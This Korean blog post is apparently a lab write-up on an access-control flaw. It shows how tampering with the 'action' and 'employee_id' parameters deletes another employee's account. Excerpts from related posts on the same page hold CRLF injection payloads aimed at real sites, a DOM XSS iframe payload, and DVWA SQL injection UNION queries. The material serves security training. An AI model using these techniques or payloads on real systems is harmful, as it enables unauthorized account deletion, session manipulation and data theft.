기본 콘텐츠로 건너뛰기

LAB: Role Based Access Control [ 역할 기반 엑세스 제어 ]

LAB: Role Based Access Control [ 역할 기반 엑세스 제어 ]




[Description]

직원 목록 페이지에서는 많은 계정이 존재하며 비밀번호는 직원의 첫 이름의 소문자입니다. 우리는 이러한 직원의 계정으로 로그인하여 삭제 기능이 있는 직원의 계정을 찾아 무단으로 여러 직원들의 계정들을 삭제가 가능한지에 대한 취약점 진단 여부입니다. 우리는 Tom 의 계정을 삭제하여야합니다.





[그림1] 



[그림1] Tom 의 계정으로 로그인한 그림.

우리는 무단으로 직원의 계정을 삭제하기 위해 직원의 계정중 Tom 의 계정으로 로그인한 결과 Tom 계정에는 삭제 기능이 존재하지 않습니다.



[그림2]




[그림2] John 계정으로 로그인한 그림.


John 계정으로 로그인 시 Tom 계정으로 로그인시 존재하지 않았던 CreateProfile  와 DeleteProfile  기능이 존재합니다.


따라서 DeleteProfile  기능을 통해 Tom 의 계정을 무단으로 삭제가 가능한지에 대한 취약점 진단이 가능합니다.




[그림3] 


[그림3] DeleteProfile 기능을 통해 Request 값 확인 그림.


DeleteProfile 기능을 통해 Request 값 확인 시 employee_id 변수가 존재하며 해당 변수의 ID 를 통해 계정을 삭제합니다.

따라서 , Tom 의 계정으로 로그인할때 사용되는 employee_id 를 넣어 삭제시 Tom 의 계정이 삭제가 되는지에 대한 취약점 진단을 시도합니다.



[그림4] 



[그림4] Tom 계정으로 로그인 시 Request 값 확인 그림.

Tom 계정으로 로그인을 할 때 패킷을 잡아 Request 값을 확인해 보면 employee_id 값은 105 를 사용하고있습니다.

따라서 Tom 의 계정으로 로그인하여 action= 매개변수에 DeleteProfile 변수를 넣어삭제를 시도합니다.


[그림5]




[그림5] Tom의 계정의 id 와 , action 매개변수를 DeleteProfile 변수로 수정하여 전송하는 그림.

Tom 의 계정으로 접근하여 , 아무 기능을 눌러 패킷을 잡고 , action 매개변수를 DeleteProfile 로 수정하여 전송하여 취약점을 진단합니다.



[그림6] 


[그림6] 계정 삭제가 성공한 그림.



[impact]


사용자가 입력한 매개변수 DeleteProfile  필터링이 재대로 처리되지 않아 공격자는 계정 삭제 및 수정 등 다양한 작업을 수행할수있습니다. 

댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload :  <iframe src="javascript:alert(`xss`)">   다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

DVWA SQL Injection

DVWA  SQL Injection low [그림 1] Summary [그림1] 는 SQLInjection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다 Description [그림 1] 은 ' , # , -- ,= 등 SQLInjection 에 취약한 특수문자등을 필터링하지 않아 SQL주입이 가능합니다. Steps to reproduce ORDER BY Query 1' order by 1,2# User ID:    ID: 1' ORDER BY 1,2# First name: admin Surname: admin UNION Query ' UNION SELECT 1,@@version#  User ID:    ID: 1' UNION SELECT 1,version()# First name: admin Surname: admin ID: 1' UNION SELECT 1,version()# First name: 1 Surname: 10.4.8-MariaDB ' UNION ALL SELECT 1,column_name from information_schema.columns# User ID:    ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: user_id ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: first_name ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: last_name ID: ' UNION ALL SELECT 1,column_name from in...